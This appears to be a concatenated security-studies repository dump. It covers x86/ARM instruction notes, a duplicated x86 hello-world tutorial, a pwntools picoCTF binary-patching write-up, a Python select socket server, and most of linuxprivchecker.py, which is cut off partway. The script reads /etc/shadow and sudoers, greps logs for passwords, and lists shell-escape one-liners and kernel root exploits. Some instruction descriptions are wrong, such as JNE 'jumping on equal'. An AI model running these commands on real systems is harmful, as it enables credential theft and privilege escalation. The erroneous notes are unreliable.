31 | | :--- | :--- | :---: | 32 | | EIP | Instruction Pointer \(Program counter\) | - | 33 | | EFLAGS | Store operations - Ex: Flag Zero | - | 34 | 35 | ## Instruction set 36 | 37 | The x86 instruction set are around the data movement between registers and memory, classified in 5 types: 38 | 39 | * Immediate to register 40 | * Register to register 41 | * Immediate to memory 42 | * Register to memory and vice versa 43 | * Memory to memory - Only in RISC architectures. 44 | 45 | ### x86 46 | 47 | The focus here will be the Intel syntax. 48 | AT&T prefixes the register with % and immediates with $, which doesn't happen at Intel. They also add a prefix to the instruction to indicate operation width \(long, byte, etc.\). 49 | At Intel syntax the destination come and then the source \(op dest source\), at AT&T it is the opposite. 50 | Instructions have variable-lenght \(1 to 15 bytes\). 51 | 52 | x86 uses \[\] to indicate memory access \(similar to **\*** at C/C++\) 53 | In order to sum or subtract address inside \[\] usually is used hexadecimal, for example: 54 |        mov eax \[ecx+10h\] - Where the h is used to indicate hexadecimal notation. 55 | 56 | * MOV - mov ecx, \[eax\] 57 | 58 | 59 |        Sets ecx = \[eax\] 60 | 61 | * ADD - inc dword ptr \[eax\] 62 | 63 | 64 |        Increments value at address eax. 65 | 66 | * SUB - sub eax, 0x20 67 | 68 | 69 |        Subtracts eax by 0x20. 70 | 71 | * PUSH - push eax        Pushes eax at the stack 72 | * CMP - cmp eax, ebx        if\(eax == ebx\) Sets eflags; 73 | * JNE - jne 0x400086        Jumps to given address if eflags was set to equal. 74 | * CALL - call 0x400086        Jumps to given address and saves current location at stack. 75 | * RET - ret 76 | 77 | 78 |        Pops the address of the stack and returns control to that location - \("jump"\). 79 | 80 | * LEA - lea eax, \[esp+0x1c\] 81 | 82 | 83 |        Moves address of register to another \(eax = esp+0x1c\), used to pass parameters 84 | 85 | * LEAVE - leave 86 | 87 | 88 |        Moves ebp to esp and pops ebp from the stack. 89 | 90 | ### ARM 91 | 92 | * Load Word - `LDR R3, [R3]` 93 | 94 | 95 |        Read the value at address R3. 96 | 97 | * Store Word - `STR R2, [R3]` 98 | 99 | 100 |        Store the value from R2 at address R3. 101 | 102 | * Add to register - `ADDS R2, R3, #1` 103 | 104 |        Add 1 to R3 and store at R2. 105 | 106 | -------------------------------------------------------------------------------- /reverse-engineering/x86-hello-world.md: -------------------------------------------------------------------------------- 1 | # x86 Hello World 2 | 3 | Taking the code as for example, it is recommended to understand first the basic concepts of x86 Assembly, such as the mov instruction. 4 | 5 | Take for example this program: 6 | 7 | ```text 8 | ;; Program Hello WOrld 9 | section .text 10 | global _start 11 | 12 | _start: 13 | mov edx,len ;message length 14 | mov ecx,msg ;message to write 15 | mov ebx,1 ;file descriptor (stdout) 16 | mov eax,4 ;system call number (sys_write) 17 | int 0x80 ;call kernel 18 | 19 | mov eax,1 ;system call number (sys_exit) 20 | int 0x80 ;call kernel 21 | 22 | section .data 23 | msg db 'Hello, world!',0xa ;our dear string 24 | len equ $ - msg ;length of our dear string 25 | ``` 26 | 27 | #### Understanding the code 28 | 29 | It starts out with a comment, that is `;` as you can see. 30 | 31 | Afterwards, it is necessary to specify the sections of the code. Since the Assembly goes directly into the memory, you need to specify what is the `text` fragment and what is `data` \(non executable code, usually used to store strings, some variables, etc\). As you can see, a global label `_start`is defined. That is necessary so that when the compiler gets and analyses this code it will know where to start running \(It is a default label\). 32 | 33 | Lets jump into the `.data` section. First it will declare a define byte \(`db`\) that we called `msg`, with the string that we want to print out, together with `0xa`, that is a newline character \(equivalent to `\n` in C, for example\). In the next line, we define a `len` variable that represents the length of the string, that is, the current place at the memory this instruction is \(represented by `$`\) subtracted by the start of the string \(`msg`\). 34 | 35 | Going back to the `_start` label \(also called as a function in this case\), at the first 4 lines we just store the variables at the registers `edx` and `ecx`, than we set `ebx` as 1 and `eax` as 4. This means that, since we want to write something to `stdout` \(or standard output\), we will use the `write` syscall, that asks for the argument `fd`, passed through by `ebx` as a convention, as seen at [System Calls Reference](https://syscalls.kernelgrok.com/). So `int`erruption 0x80 will be called \(that is a _syscall_\), which will print "Hello, World!" at the terminal. 36 | 37 | In the end, eax will be set to 1, meaning the _syscall_ exit. Then it will be called through `int 0x80`, exiting the program. 38 | 39 | In case we wanted to set a `return 0` at the end of the code, we could just `mov ebx, 0` just before the syscall. 40 | 41 | #### Compiling and Testing the code 42 | 43 | In order to compile the x86 Assembly code, a good way is to use [nasm](https://nasm.us/) compiler. 44 | 45 | Supposing we have a `hello.asm` code, we can compile as 46 | 47 | ```bash 48 | nasm -f elf hello.asm 49 | ``` 50 | 51 | Doing that we specify that the format of the file will be an `elf` \(32 bits\) and a new object `hello.o` will be produced. 52 | 53 | Still, that is not our executable file, in order to get that we need to use `ld` command to link the object with the libraries of our system, which can be easily done: 54 | 55 | ```bash 56 | ld -s -o hello hello.o -m elf_i386 57 | ``` 58 | 59 | It simply links the generated object to a `hello` executable, that has the format `elf_i386`. In case any error occurs, check out if you have the `32bits glibc` at your own operational system. 60 | 61 | So, you can execute simply using 62 | 63 | ```bash 64 | ./hello 65 | ``` 66 | 67 | And that's it, you have your Hello World :D 68 | 69 | ### References 70 | 71 | * [Linux System Calls Reference](https://syscalls.kernelgrok.com/) 72 | * [x86 Hello World](http://asm.sourceforge.net/intro/hello.html) 73 | * [nasm](https://nasm.us/) 74 | 75 | -------------------------------------------------------------------------------- /.gitbook/assets/x86helloworld.md: -------------------------------------------------------------------------------- 1 | # x86 Hello World 2 | 3 | Taking the code as for example, it is recommended to understand first the basic concepts of x86 Assembly, such as the mov instruction. 4 | 5 | Take for example this program: 6 | 7 | ```asm 8 | ;; Program Hello WOrld 9 | section .text 10 | global _start 11 | 12 | _start: 13 | mov edx,len ;message length 14 | mov ecx,msg ;message to write 15 | mov ebx,1 ;file descriptor (stdout) 16 | mov eax,4 ;system call number (sys_write) 17 | int 0x80 ;call kernel 18 | 19 | mov eax,1 ;system call number (sys_exit) 20 | int 0x80 ;call kernel 21 | 22 | section .data 23 | msg db 'Hello, world!',0xa ;our dear string 24 | len equ $ - msg ;length of our dear string 25 | 26 | ``` 27 | 28 | ### Understanding the code 29 | 30 | It starts out with a comment, that is `;` as you can see. 31 | 32 | Afterwards, it is necessary to specify the sections of the code. Since the Assembly goes directly into the memory, you need to specify what is the `text` fragment and what is `data` (non executable code, usually used to store strings, some variables, etc). 33 | As you can see, a global label `_start`is defined. That is necessary so that when the compiler gets and analyses this code it will know where to start running (It is a default label). 34 | 35 | Lets jump into the `.data` section. First it will declare a define byte (`db`) that we called `msg`, with the string that we want to print out, together with `0xa`, that is a newline character (equivalent to `\n` in C, for example). 36 | In the next line, we define a `len` variable that represents the length of the string, that is, the current place at the memory this instruction is (represented by `$`) subtracted by the start of the string (`msg`). 37 | 38 | Going back to the `_start` label (also called as a function in this case), at the first 4 lines we just store the variables at the registers `edx ` and ` ecx`, than we set `ebx` as 1 and `eax` as 4. This means that, since we want to write something to `stdout` (or standard output), we will use the `write` syscall, that asks for the argument `fd`, passed through by `ebx` as a convention, as seen at [System Calls Reference](https://syscalls.kernelgrok.com/). So `int`erruption 0x80 will be called (that is a *syscall*), which will print "Hello, World!" at the terminal. 39 | 40 | In the end, eax will be set to 1, meaning the *syscall* exit. Then it will be called through `int 0x80`, exiting the program. 41 | 42 | In case we wanted to set a `return 0` at the end of the code, we could just `mov ebx, 0` just before the syscall. 43 | 44 | ### Compiling and Testing the code 45 | 46 | In order to compile the x86 Assembly code, a good way is to use [nasm](https://nasm.us/) compiler. 47 | 48 | Supposing we have a `hello.asm` code, we can compile as 49 | 50 | ```bash 51 | nasm -f elf hello.asm 52 | ``` 53 | 54 | Doing that we specify that the format of the file will be an `elf` (32 bits) and a new object `hello.o` will be produced. 55 | 56 | Still, that is not our executable file, in order to get that we need to use `ld` command to link the object with the libraries of our system, which can be easily done: 57 | 58 | ```bash 59 | ld -s -o hello hello.o -m elf_i386 60 | ``` 61 | 62 | It simply links the generated object to a `hello` executable, that has the format `elf_i386`. In case any error occurs, check out if you have the `32bits glibc` at your own operational system. 63 | 64 | So, you can execute simply using 65 | 66 | ```bash 67 | ./hello 68 | ``` 69 | 70 | 71 | 72 | And that's it, you have your Hello World :D 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | ## References 87 | 88 | - [Linux System Calls Reference](https://syscalls.kernelgrok.com/) 89 | - [x86 Hello World](http://asm.sourceforge.net/intro/hello.html) 90 | - [nasm](https://nasm.us/) 91 | 92 | 93 | 94 | -------------------------------------------------------------------------------- /exploitation/pwntools/patching-binaries-with-pwntools.md: -------------------------------------------------------------------------------- 1 | # Patching binaries with pwntools 2 | 3 | So... what actually is patching binaries? 4 | 5 | Patching binaries is quite as it seems by the name. It is basically changing some binary in order to make it work in a better way or simply to bypass some protection directly from assembly level. 6 | 7 | In order to have a better understanding of it, we will be using the "be quick or be dead" picoCTF challenges. 8 | 9 | If you download the `be-quick-or-be-dead-1`binary at the [challenges](https://github.com/Es7evam/Security-Studies/tree/c2582d3cae736dd0a22e16cdc167c8db55dc1352/exploitation/pwntools/challenges/README.md) folder at this repo, you can check it out yourself. 10 | 11 | A good idea is, before anything, to check all the symbols at the programs 12 | 13 | ```python 14 | from pwn import * 15 | elf = ELF('./be-quick-or-be-dead-1') 16 | 17 | # List symbols at program 18 | for key, address in elf.symbols.iteritems(): 19 | print key, hex(address) 20 | ``` 21 | 22 | This way, you can load the binary as an `ELF` file and iterate through the items at the symbols table, that can be obtained with pwntools `elf.symbols.iteritems`. 23 | 24 | ## Understanding the binary 25 | 26 | In order to exploit the binary, first we need to understand what it is doing. That can be discovered for example using a disassembler, like IDA, radare2 or hopper. 27 | 28 | #### Main function 29 | 30 | The pseudo-code of the main is as the following: 31 | 32 | ```c 33 | int __cdecl main(int argc, const char **argv, const char **envp){ 34 | header(*(_QWORD *)&argc, argv, envp); 35 | set_timer(); 36 | get_key(); 37 | print_flag(*(_QWORD *)&argc); 38 | return 0; 39 | } 40 | ``` 41 | 42 | So we see that there is a function header, that prints the header of the challenge. 43 | 44 | #### Set\_timer function 45 | 46 | Then, it calls the function `set_timer()` that is the following: 47 | 48 | ```c 49 | unsigned int set_timer(){ 50 | if ( __sysv_signal(14, alarm_handler) == (__sighandler_t)-1LL ){ 51 | printf("\n\nSomething went terribly wrong. \nPlease contact the admins with \"be-quick-or-be-dead-1.c:%d\".\n", 59LL); 52 | exit(0); 53 | } 54 | return alarm(1u); 55 | } 56 | ``` 57 | 58 | First there is an error checking, just to see if the alarm signal will work properly. Then it sets up a 1 second alarm, that will be toggled when the time ends. 59 | 60 | #### Get\_key function 61 | 62 | After this function, it will continue normally with the `get_key()`function, that calls `calculate_key()`, that works as the following: 63 | 64 | ```c 65 | signed __int64 calculate_key(){ 66 | signed int v1; // [rsp+0h] [rbp-4h] 67 | v1 = 1878346557; 68 | do 69 | ++v1; 70 | while ( v1 != -538274182 ); 71 | return 3756693114LL; 72 | } 73 | ``` 74 | 75 | As you can see, it simply gets v1 and sums until v1 is `-538274182`, what will happen quite after the overflow. After that, it will return `3756693114LL`. 76 | 77 | Patching the binary - Solution 1 78 | 79 | There are basically two ways of solving this challenge. 80 | 81 | The easier one in my opinion is to simply "jump" the timer function, this way after the computation finishes the flag will be printed. 82 | 83 | In order to do it with pwntools, we do as the following: 84 | 85 | ```python 86 | from pwn import * 87 | elf = ELF('./be-quick-or-be-dead-1') 88 | 89 | #Nulify alarm function 90 | elf.asm(elf.symbols['alarm'], 'ret') 91 | elf.save('./newbinary') 92 | ``` 93 | 94 | As before, we load the binary as ELF. 95 | 96 | Then, we overwrite the assembly instruction that is at the beginning of the `alarm` function with a `ret`, this way as soon as the program enters at this function, it will return, not setting the timer. 97 | 98 | In the end, a new patched binary is generated. In order to solve the challenge is enough to execute it. 99 | 100 | ### Patching the binary - Solution 2 101 | 102 | ```python 103 | from pwn import * 104 | elf = ELF('./be-quick-or-be-dead-1') 105 | 106 | number = 3756693114 107 | #Modify calculate_key function 108 | elf.asm(elf.symbols['calculate_key'], 'mov eax, %s\nret\n' % (hex(number))) 109 | elf.save('./newbinary2') 110 | ``` 111 | 112 | As we could see from the analysis, the `calculate_key` function did a lot of unnecessary computation, just to return `3756693114`. 113 | 114 | So we modify that one just to `mov` that value to eax, that is the convention of the return values of functions, and than returns. The following C represent the new calculate\_key function. 115 | 116 | ```c 117 | signed __int64 calculate_key(){ 118 | return 3756693114LL; 119 | } 120 | ``` 121 | 122 | Therefore, generating the patched binary and executing it, we successfully obtain the flag. 123 | 124 | -------------------------------------------------------------------------------- /exploitation/sockets/02-multiple-connections-server.md: -------------------------------------------------------------------------------- 1 | # Multiple Connections Server 2 | 3 | In order to build a multiple connection server, it is good to know that all the socket methods are blocking, that is, when it reads from a socket the program can't do anything else. However it is possible to solve this "problem" working with multiple threads, each for working with one client, but that's not a cheap operation in terms of computer processing power. 4 | 5 | To address this, there is a way to work with sockets in an asynchronous way, delegating the maintenance of the socket's state to the operating system and letting the program know when there is something to read or write from/to the socket. 6 | 7 | That can be done in a couple of ways, depending on the OS that is used: 8 | 9 | * `poll` and`elpoll` \(Linux\) 10 | * `kqueue` and `kevent` \(BSD\) 11 | * `select` \(Cross platform\) 12 | 13 | ## Building a Multiple Listener Using `select` 14 | 15 | This time we will do it by parts to make it more comprehensible. The full code will be at the end of this file. 16 | 17 | #### Creating the Socket 18 | 19 | ```python 20 | import select, socket, sys, Queue 21 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 22 | server.setblocking(0) 23 | server.bind(('localhost', 9999)) 24 | server.listen(5) 25 | inputs = [server] 26 | outputs = [] 27 | message_queues = {} 28 | ``` 29 | 30 | At first, the code is pretty similar to the simple socket that we've built before. 31 | 32 | The main difference is at `server.setblocking(0)`, that is used to make the socket nonblocking. 33 | 34 | We also create two lists, input and output, where the inputs and outputs \(duh\) will be stored for each client. 35 | 36 | #### Taking input from the client 37 | 38 | Here is what the differences starts to appear: 39 | 40 | ```python 41 | while inputs: 42 | readable, writable, exceptional = select.select( 43 | inputs, outputs, inputs) 44 | for s in readable: 45 | if s is server: 46 | connection, client_address = s.accept() 47 | connection.setblocking(0) 48 | inputs.append(connection) 49 | message_queues[connection] = Queue.Queue() 50 | else: 51 | data = s.recv(1024) 52 | if data: 53 | message_queues[s].put(data) 54 | if s not in outputs: 55 | outputs.append(s) 56 | else: 57 | if s in outputs: 58 | outputs.remove(s) 59 | inputs.remove(s) 60 | s.close() 61 | del message_queues[s] 62 | #... 63 | ``` 64 | 65 | First, while there is an input from the client, we `select` the sockets. 66 | 67 | Here we call `select.select` to ask the OS to check given sockets whether they are ready to read, write or if there is any exception. That is why we pass the list of inputs, outputs and inputs again, so that each one respectively is checked if they are ready for the given operation. 68 | 69 | After that, for each socket `s` that is in the list of the readable ones: 70 | 71 | * If it is a server socket, we `accept`the connection, set it as non-blocking, append it to the `inputs` and adds a `Queue`for incoming messages which will be sent back. 72 | * Otherwise, that means that there is data on the buffer of the socket, so we `recv` it. In case there is no data it means that the connection was closed, so we remove it from the outputs and then close the socket, deleting the message\_queues. If there is data, it simply appends the data to the message queues. 73 | 74 | #### Sending outputs to the clients 75 | 76 | The output part is pretty straightforward: 77 | 78 | ```python 79 | #... 80 | for s in writable: 81 | try: 82 | next_msg = message_queues[s].get_nowait() 83 | except Queue.Empty: 84 | outputs.remove(s) 85 | else: 86 | s.send(next_msg) 87 | #... 88 | ``` 89 | 90 | For each socket that was selected as writable, if there is a pending message, it writes itself to the socket. In the case that there occurs an error in the socket, it removes the socket from the lists. 91 | 92 | #### Treating exceptions 93 | 94 | ```python 95 | #... 96 | for s in exceptional: 97 | inputs.remove(s) 98 | if s in outputs: 99 | outputs.remove(s) 100 | s.close() 101 | del message_queues[s] 102 | ``` 103 | 104 | Following the same logic as the writable sockets, for each socket that happened an exception within, removes it from the inputs, outputs, closes it and deletes all the message queues. 105 | 106 | ### Full Code 107 | 108 | ```python 109 | import select, socket, sys, Queue 110 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 111 | server.setblocking(0) 112 | server.bind(('localhost', 9999)) 113 | server.listen(5) 114 | inputs = [server] 115 | outputs = [] 116 | message_queues = {} 117 | 118 | while inputs: 119 | readable, writable, exceptional = select.select( 120 | inputs, outputs, inputs) 121 | for s in readable: 122 | if s is server: 123 | connection, client_address = s.accept() 124 | connection.setblocking(0) 125 | inputs.append(connection) 126 | message_queues[connection] = Queue.Queue() 127 | else: 128 | data = s.recv(1024) 129 | if data: 130 | message_queues[s].put(data) 131 | if s not in outputs: 132 | outputs.append(s) 133 | else: 134 | if s in outputs: 135 | outputs.remove(s) 136 | inputs.remove(s) 137 | s.close() 138 | del message_queues[s] 139 | 140 | for s in writable: 141 | try: 142 | next_msg = message_queues[s].get_nowait() 143 | except Queue.Empty: 144 | outputs.remove(s) 145 | else: 146 | s.send(next_msg) 147 | 148 | for s in exceptional: 149 | inputs.remove(s) 150 | if s in outputs: 151 | outputs.remove(s) 152 | s.close() 153 | del message_queues[s] 154 | ``` 155 | 156 | -------------------------------------------------------------------------------- /web/Scripts/linuxprivchecker.py: -------------------------------------------------------------------------------- 1 | #!/usr/env python 2 | 3 | ############################################################################################################### 4 | ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script 5 | ## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift 6 | ##------------------------------------------------------------------------------------------------------------- 7 | ## [Details]: 8 | ## This script is intended to be executed locally on a Linux box to enumerate basic system info and 9 | ## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text 10 | ## passwords and applicable exploits. 11 | ##------------------------------------------------------------------------------------------------------------- 12 | ## [Warning]: 13 | ## This script comes as-is with no promise of functionality or accuracy. I have no plans to maintain updates, 14 | ## I did not write it to be efficient and in some cases you may find the functions may not produce the desired 15 | ## results. For example, the function that links packages to running processes is based on keywords and will 16 | ## not always be accurate. Also, the exploit list included in this function will need to be updated over time. 17 | ## Feel free to change or improve it any way you see fit. 18 | ##------------------------------------------------------------------------------------------------------------- 19 | ## [Modification, Distribution, and Attribution]: 20 | ## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original 21 | ## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's 22 | ## worth anything anyway :) 23 | ############################################################################################################### 24 | 25 | # conditional import for older versions of python not compatible with subprocess 26 | try: 27 | import subprocess as sub 28 | compatmode = 0 # newer version of python, no need for compatibility mode 29 | except ImportError: 30 | import os # older version of python, need to use os instead 31 | compatmode = 1 32 | 33 | # title / formatting 34 | bigline = "=================================================================================================" 35 | smlline = "-------------------------------------------------------------------------------------------------" 36 | 37 | print bigline 38 | print "LINUX PRIVILEGE ESCALATION CHECKER" 39 | print bigline 40 | print 41 | 42 | # loop through dictionary, execute the commands, store the results, return updated dict 43 | def execCmd(cmdDict): 44 | for item in cmdDict: 45 | cmd = cmdDict[item]["cmd"] 46 | if compatmode == 0: # newer version of python, use preferred subprocess 47 | out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() 48 | results = out.split('\n') 49 | else: # older version of python, use os.popen 50 | echo_stdout = os.popen(cmd, 'r') 51 | results = echo_stdout.read().split('\n') 52 | cmdDict[item]["results"]=results 53 | return cmdDict 54 | 55 | # print results for each previously executed command, no return value 56 | def printResults(cmdDict): 57 | for item in cmdDict: 58 | msg = cmdDict[item]["msg"] 59 | results = cmdDict[item]["results"] 60 | print "[+] " + msg 61 | for result in results: 62 | if result.strip() != "": 63 | print " " + result.strip() 64 | print 65 | return 66 | 67 | def writeResults(msg, results): 68 | f = open("privcheckout.txt", "a"); 69 | f.write("[+] " + str(len(results)-1) + " " + msg) 70 | for result in results: 71 | if result.strip() != "": 72 | f.write(" " + result.strip()) 73 | f.close() 74 | return 75 | 76 | # Basic system info 77 | print "[*] GETTING BASIC SYSTEM INFO...\n" 78 | 79 | results=[] 80 | 81 | sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System","results":results}, 82 | "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel","results":results}, 83 | "HOSTNAME":{"cmd":"hostname", "msg":"Hostname", "results":results} 84 | } 85 | 86 | sysInfo = execCmd(sysInfo) 87 | printResults(sysInfo) 88 | 89 | # Networking Info 90 | 91 | print "[*] GETTING NETWORKING INFO...\n" 92 | 93 | netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", "results":results}, 94 | "ROUTE":{"cmd":"route", "msg":"Route", "results":results}, 95 | "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", "results":results} 96 | } 97 | 98 | netInfo = execCmd(netInfo) 99 | printResults(netInfo) 100 | 101 | # File System Info 102 | print "[*] GETTING FILESYSTEM INFO...\n" 103 | 104 | driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", "results":results}, 105 | "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", "results":results} 106 | } 107 | 108 | driveInfo = execCmd(driveInfo) 109 | printResults(driveInfo) 110 | 111 | # Scheduled Cron Jobs 112 | cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results}, 113 | "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results} 114 | } 115 | 116 | cronInfo = execCmd(cronInfo) 117 | printResults(cronInfo) 118 | 119 | # User Info 120 | print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n" 121 | 122 | userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results}, 123 | "ID":{"cmd":"id","msg":"Current User ID", "results":results}, 124 | "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results}, 125 | "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", "results":results}, 126 | "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results}, 127 | "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results}, 128 | "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results}, 129 | "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results} 130 | } 131 | 132 | userInfo = execCmd(userInfo) 133 | printResults(userInfo) 134 | 135 | if "root" in userInfo["ID"]["results"][0]: 136 | print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n" 137 | 138 | # File/Directory Privs 139 | print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n" 140 | 141 | fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results}, 142 | "WWDIRS":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results}, 143 | "WWFILES":{"cmd":"find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results}, 144 | "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results}, 145 | "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results} 146 | } 147 | 148 | fdPerms = execCmd(fdPerms) 149 | printResults(fdPerms) 150 | 151 | pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results}, 152 | "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results}, 153 | "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results} 154 | } 155 | 156 | pwdFiles = execCmd(pwdFiles) 157 | printResults(pwdFiles) 158 | 159 | # Processes and Applications 160 | print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n" 161 | 162 | if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: 163 | getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian 164 | else: 165 | getPkgs = "rpm -qa | sort -u" # RH/other 166 | 167 | getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", "results":results}, 168 | "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results} 169 | } 170 | 171 | getAppProc = execCmd(getAppProc) 172 | printResults(getAppProc) # comment to reduce output 173 | 174 | otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results}, 175 | "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results}, 176 | "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results} 177 | } 178 | 179 | otherApps = execCmd(otherApps) 180 | printResults(otherApps) 181 | 182 | print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n" 183 | 184 | # find the package information for the processes currently running 185 | # under root or another super user 186 | 187 | procs = getAppProc["PROCS"]["results"] 188 | pkgs = getAppProc["PKGS"]["results"] 189 | supusers = userInfo["SUPUSERS"]["results"] 190 | procdict = {} # dictionary to hold the processes running as super users 191 | 192 | for proc in procs: # loop through each process 193 | relatedpkgs = [] # list to hold the packages related to a process 194 | try: 195 | for user in supusers: # loop through the known super users 196 | if (user != "") and (user in proc): # if the process is being run by a super user 197 | procname = proc.split(" ")[4] # grab the process name 198 | if "/" in procname: 199 | splitname = procname.split("/") 200 | procname = splitname[len(splitname)-1] 201 | for pkg in pkgs: # loop through the packages 202 | if not len(procname) < 3: # name too short to get reliable package results 203 | if procname in pkg: 204 | if procname in procdict: 205 | relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list 206 | if pkg not in relatedpkgs: 207 | relatedpkgs.append(pkg) # add pkg to the list 208 | procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry 209 | except: 210 | pass 211 | 212 | for key in procdict: 213 | print " " + key # print the process name 214 | try: 215 | if not procdict[key][0] == "": # only print the rest if related packages were found 216 | print " Possible Related Packages: " 217 | for entry in procdict[key]: 218 | print " " + entry # print each related package 219 | except: 220 | pass 221 | 222 | # EXPLOIT ENUMERATION 223 | 224 | # First discover the avaialable tools 225 | print 226 | print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n" 227 | 228 | devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}} 229 | devTools = execCmd(devTools) 230 | printResults(devTools) 231 | 232 | print "[+] Related Shell Escape Sequences...\n" 233 | escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]} 234 | for cmd in escapeCmd: 235 | for result in devTools["TOOLS"]["results"]: 236 | if cmd in result: 237 | for item in escapeCmd[cmd]: 238 | print " " + cmd + "-->\t" + item 239 | print 240 | print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n" 241 | 242 | # Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) 243 | # sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' 244 | sploits= { "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 245 | "< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 246 | "2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}}, 247 | "<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 248 | "2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 249 | "<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 250 | "2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 251 | "2.4.x / 2.6.x 